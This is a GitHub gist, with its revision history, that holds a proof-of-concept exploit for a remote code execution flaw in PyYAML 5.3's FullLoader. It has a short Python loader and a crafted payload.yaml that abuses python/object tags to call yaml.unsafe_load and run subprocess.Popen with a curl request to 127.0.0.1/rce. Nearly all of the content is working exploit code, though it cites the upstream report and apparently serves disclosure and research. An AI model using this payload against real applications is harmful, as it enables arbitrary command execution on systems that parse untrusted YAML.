Last active
October 30, 2023 11:01
-
-
Save adamczi/23a3b6d4bb7b2be35e79b0667d6682e1 to your computer and use it in GitHub Desktop.
Revisions
-
adamczi revised this gist
May 20, 2020 . 2 changed files with 2 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +1,6 @@ # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1 # More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386 # Explanation: https://2130706433.net/blog/pyyaml/ from yaml import * with open('payload.yaml','rb') as f: This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,7 +2,7 @@ # custom `listitems` argument, in this case a simple curl request - !!python/object/new:yaml.MappingNode listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]' state: tag: !!str dummy value: !!str dummy -
adamczi created this gist
Mar 30, 2020 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,8 @@ # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1 # More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386 from yaml import * with open('payload.yaml','rb') as f: content = f.read() data = load(content, Loader=FullLoader) # Using vulnerable FullLoader This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,9 @@ # The `extend` function is overriden to run `yaml.unsafe_load` with # custom `listitems` argument, in this case a simple curl request - !!python/object/new:yaml.MappingNode listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "127.0.0.1/rce"]]' state: tag: !!str dummy value: !!str dummy extend: !!python/name:yaml.unsafe_load